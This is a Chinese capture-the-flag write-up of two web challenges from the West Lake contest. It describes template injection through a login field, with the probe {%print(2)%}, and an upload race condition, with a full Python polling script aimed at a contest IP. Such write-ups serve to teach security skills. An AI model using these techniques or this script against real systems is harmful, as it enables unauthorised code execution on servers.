emmm,作为萌新(混子)接触了今年西湖初赛,看了去年和前年的题目,今年Web题目没有以往那么难,但还是很恶心的,比如说那个RANK-U。我所在的团队0psu3取得了第七名(我就混了个签到题((( )大比赛竞争还是比较激烈的
RANK-I
这道题目是考察SSTI的,我用dirsearch扫出了/console,我判断就是python写的flask框架,然后我想的是打console的ssti或者内存马,忽略了/login和/cpass登录完后的回显。在师兄思路下,/login传入{%print(2)%}在/cpass回显2(登录回显存在于/cpass之后会有一个xxxx格式不对的回显(xxx是/login传入的phone_number))。所以这里想要看到回显就得先对/login发包再对/cpass发包,所以就可以写一个python脚本来执行,然后传入payload即可
RANK-U
这是我认为最恶心的一道题(三个人三台机子跑出来的)
这道题是一个upload题,对文件后缀名没有任何检测,但是上传除png、jpg、gif等图片格式外,均会自动删除,考点就是条件竞争,可是这玩意,三个人三个机子跑条件竞争最后才跑出来,属实恶心了(
对技术没有什么考验,就是拼线程,我们使用bp+python脚本跑的。我个人脚本如下
import time
import requests
import re
# 要检查的网页 URL
url = "http://139.155.126.78:16892/admin/Uploads/1f14bba00da3b75118bc8dbf8625f7d0/"
# 刷新间隔(秒)
refresh_interval = 0.3
def check_for_php_and_open(url):
try:
# 发送请求获取页面
response = requests.get(url)
# 如果请求失败,打印错误并返回
if response.status_code != 200:
print(f"Failed to retrieve page: {response.status_code}")
return False
# 获取页面内容(HTML)
page_content = response.text
# 检查页面内容是否包含 'php' 字符串
if 'php' in page_content.lower():
print("Found 'php' in the page!")
# 使用正则表达式查找所有包含 .php 后缀的文件链接
php_files = re.findall(r'href="([^"]+\.php)"', page_content)
# 打印找到的 .php 文件链接并访问它们
for php_file in php_files:
php_url = f"{url}/{php_file}" # 构造完整的 URL
print(f"Accessing {php_url}...")
# 请求 .php 文件页面
php_response = requests.get(php_url)
if php_response.status_code == 200:
print(f"Successfully accessed {php_url}")
print("PHP Page Content:")
print(php_response.text) # 打印访问的 PHP 页面源码
else:
print(f"Failed to access {php_url}")
return True
return False
except Exception as e:
print(f"Error checking page: {e}")
return False
while True:
print(f"Checking {url}...")
if check_for_php_and_open(url):
print("Stopping the check after finding and accessing .php files.")
break # 找到并访问了 .php 文件后停止检测
# 等待刷新间隔
time.sleep(refresh_interval)